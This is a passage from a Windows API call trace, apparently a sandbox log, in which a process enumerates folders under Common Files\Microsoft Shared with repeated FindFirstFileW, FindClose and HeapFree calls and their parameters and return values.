0x730000 [0054.824] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.824] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.824] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.824] GetProcessHeap () returned 0x730000 [0054.824] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.824] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.824] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.824] GetProcessHeap () returned 0x730000 [0054.824] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.824] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.824] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.824] GetProcessHeap () returned 0x730000 [0054.824] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.824] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.824] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.825] GetProcessHeap () returned 0x730000 [0054.825] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.825] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.825] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.825] GetProcessHeap () returned 0x730000 [0054.825] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.825] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.825] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.825] GetProcessHeap () returned 0x730000 [0054.825] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.825] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.825] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.825] GetProcessHeap () returned 0x730000 [0054.825] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.825] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.826] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.826] GetProcessHeap () returned 0x730000 [0054.826] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.826] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.826] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.826] GetProcessHeap () returned 0x730000 [0054.826] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.826] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.826] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.826] GetProcessHeap () returned 0x730000 [0054.826] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.826] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.826] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.826] GetProcessHeap () returned 0x730000 [0054.826] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.827] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.827] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.827] GetProcessHeap () returned 0x730000 [0054.827] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.827] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.827] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.827] GetProcessHeap () returned 0x730000 [0054.827] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.827] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.827] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.827] GetProcessHeap () returned 0x730000 [0054.827] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.827] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.827] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.827] GetProcessHeap () returned 0x730000 [0054.827] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.827] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0054.828] GetProcessHeap () returned 0x730000 [0054.828] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0054.828] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0054.828] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0054.828] GetProcessHeap () returned 0x730000 [0054.828] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0054.828] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0054.828] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.828] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.828] GetProcessHeap () returned 0x730000 [0054.828] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.828] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0054.828] GetProcessHeap () returned 0x730000 [0054.828] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0054.828] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0054.829] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.829] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.830] GetProcessHeap () returned 0x730000 [0054.830] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.830] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.830] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.830] GetProcessHeap () returned 0x730000 [0054.830] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.830] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0055.639] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0055.640] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0055.641] GetProcessHeap () returned 0x730000 [0055.641] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.641] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0055.641] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0055.641] GetProcessHeap () returned 0x730000 [0055.641] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.641] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0055.641] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0055.641] GetProcessHeap () returned 0x730000 [0055.641] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.641] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0055.642] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0055.642] GetProcessHeap () returned 0x730000 [0055.642] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.642] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee29c0 [0055.644] FindClose (in: hFindFile=0x2ee29c0 | out: hFindFile=0x2ee29c0) returned 1 [0055.645] GetProcessHeap () returned 0x730000 [0055.645] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.645] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee29c0 [0055.646] FindClose (in: hFindFile=0x2ee29c0 | out: hFindFile=0x2ee29c0) returned 1 [0055.646] GetProcessHeap () returned 0x730000 [0055.646] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.646] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee29c0 [0055.647] FindClose (in: hFindFile=0x2ee29c0 | out: hFindFile=0x2ee29c0) returned 1 [0055.647] GetProcessHeap () returned 0x730000 [0055.647] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.647] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee29c0 [0055.648] FindClose (in: hFindFile=0x2ee29c0 | out: hFindFile=0x2ee29c0) returned 1 [0055.648] GetProcessHeap () returned 0x730000 [0055.648] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.648] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, 